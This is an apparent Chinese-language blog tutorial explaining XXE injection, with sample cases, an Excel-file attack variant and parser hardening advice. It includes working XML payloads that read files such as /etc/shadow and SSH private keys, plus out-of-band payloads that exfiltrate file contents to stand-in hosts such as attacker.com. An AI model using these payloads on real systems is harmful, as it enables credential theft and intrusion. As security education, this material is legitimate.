XXE漏洞原理及利用

发布于:2025-08-05 ⋅ 阅读:(12) ⋅ 点赞:(0)

一、XML外部实体注入

1. XXE漏洞原理

XXE漏洞(XML外部实体注入)源于XML解析器对外部实体的不当处理。当XML文档中定义了外部实体(通过SYSTEM关键字引用本地或远程资源),而解析器未限制外部实体加载时,攻击者可构造恶意XML,诱导解析器加载外部实体,从而读取服务器本地文件、访问内网资源或执行远程请求,导致敏感信息泄露或内网探测等危害。

2. 漏洞危害

  • 敏感信息泄露:攻击者可通过外部实体引用本地文件(如file:///etc/passwdfile:///var/www/config.php),窃取系统用户信息、配置文件、数据库凭证等核心数据。
  • 内网资源探测:利用外部实体访问内网服务(如http://192.168.0.1:8080redis://10.0.0.5:6379),探测内网存活主机、开放端口及服务类型,为横向渗透铺路。
  • 远程代码执行(特定场景):若XML解析器支持扩展协议(如PHP的expect://),攻击者可构造实体执行系统命令(如expect://id),直接获取服务器控制权。
  • 拒绝服务(DoS):通过引用超大文件(如file:///dev/zero)或递归实体(如<!ENTITY a "&b;"><!ENTITY b "&a;">),消耗服务器资源,导致服务崩溃。

3. 漏洞探测

(1)攻击代码构造

1)直接通过内部引用DTD+引用外部实体

直接在XML文档内部定义DTD,并声明外部实体,适用于简单场景的测试。

示例

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">  <!-- 内部DTD定义外部实体,引用本地文件 -->
]>
<root>&xxe;</root>  <!-- 引用实体,若有回显则返回文件内容 -->
2)通过引用外部DTD文档,再引入外部实体

将DTD定义在外部文件中(如攻击者服务器上的evil.dtd),XML文档引用该外部DTD,间接加载恶意实体,更隐蔽且可复用。

步骤

  • 攻击者服务器存放evil.dtd
    <!ENTITY xxe SYSTEM "file:///etc/shadow">  <!-- 外部DTD中定义实体 -->
    
  • 目标XML文档引用外部DTD:
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE test SYSTEM "http://攻击者服务器/evil.dtd">  <!-- 引用外部DTD -->
    <root>&xxe;</root>  <!-- 引用外部DTD中的实体 -->
    
3)无回显XXE 内部引用(声明)DTD+引用外部参数实体

当目标不直接返回实体内容(无回显)时,通过“参数实体”将数据外带到攻击者服务器,间接验证漏洞。

示例

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
  <!ENTITY % file SYSTEM "file:///etc/passwd">  <!-- 定义参数实体(%开头),读取文件 -->
  <!ENTITY % xxe "<!ENTITY &#x25; send SYSTEM 'http://攻击者服务器/log?data=%file;'>">  <!-- 定义发送数据的实体 -->
  %xxe;  <!-- 执行参数实体,触发数据发送 -->
  %send;  <!-- 发送文件内容到攻击者服务器 -->
]>
<root>test</root>

攻击者通过查看服务器日志(如http://攻击者服务器/log的访问记录),即可获取/etc/passwd的内容。

4. 漏洞案例

(1)有回显案例

某电商平台的订单查询接口接收XML格式请求,解析器未限制外部实体。攻击者构造如下请求:

<?xml version="1.0"?>
<!DOCTYPE order [
  <!ENTITY xxe SYSTEM "file:///var/www/db_config.php">
]>
<query>
  <orderId>&xxe;</orderId>
</query>

接口返回了db_config.php的内容,包含数据库账号密码,导致核心数据泄露。

(2)无回显案例

某企业内部系统的用户同步功能接收XML数据,但不返回实体内容。攻击者利用无回显XXE构造请求,将/etc/hosts内容发送到自己的服务器:

<?xml version="1.0"?>
<!DOCTYPE user [
  <!ENTITY % content SYSTEM "file:///etc/hosts">
  <!ENTITY % exfil "<!ENTITY &#x25; out SYSTEM 'http://attacker.com/log?c=%content;'>">
  %exfil;
  %out;
]>
<user>test</user>

通过查看attacker.com的访问日志,攻击者获取了内网IP段信息,为后续内网渗透提供了目标。

5. 漏洞利用

(1)读取敏感文件

利用file://协议读取不同系统的敏感文件:

  • Linux:file:///etc/passwd(用户信息)、file:///var/log/nginx/access.log(Web日志)、file:///root/.ssh/id_rsa(SSH私钥)。
  • Windows:file:///c:/windows/system32/drivers/etc/hosts(主机映射)、file:///c:/users/admin/appdata/roaming/navicat/servers.xml(数据库连接信息)。

示例(读取Linux用户文件):

<?xml version="1.0"?>
<!DOCTYPE test [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<test>&xxe;</test>

6. EXCEL文档XXE

Excel(.xlsx格式)本质是XML文件的压缩包(可将.xlsx改为.zip解压查看)。若系统解析Excel文件时未限制XML外部实体,可能存在XXE漏洞。

利用方式

  1. 解压正常的.xlsx文件,修改其中的xl/workbook.xml,加入恶意外部实体定义。
  2. 重新压缩为.xlsx,诱导目标用户上传或打开该文件。
  3. 当系统解析Excel时,触发外部实体加载,泄露敏感信息(如服务器本地文件)。

二、防御方法

  1. 禁用外部实体:在XML解析器中禁用外部实体加载,如:
    • Java:DocumentBuilderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
    • PHP:libxml_disable_entity_loader(true);
  2. 限制DTD使用:禁止XML文档包含DOCTYPE声明(多数业务场景无需DTD)。
  3. 过滤用户输入:严格校验XML中的特殊字符(如<!DOCTYPESYSTEMENTITY),阻断恶意实体定义。
  4. 限制协议:仅允许解析器使用http://https://等必要协议,禁用file://ftp://expect://等危险协议。
  5. 使用安全格式:优先采用JSON等无外部实体风险的数据格式,替代XML传输数据。
  6. 更新组件:及时升级XML解析库(如libxml2),修复已知的解析器漏洞。

网站公告

今日签到

点亮在社区的每一天
去签到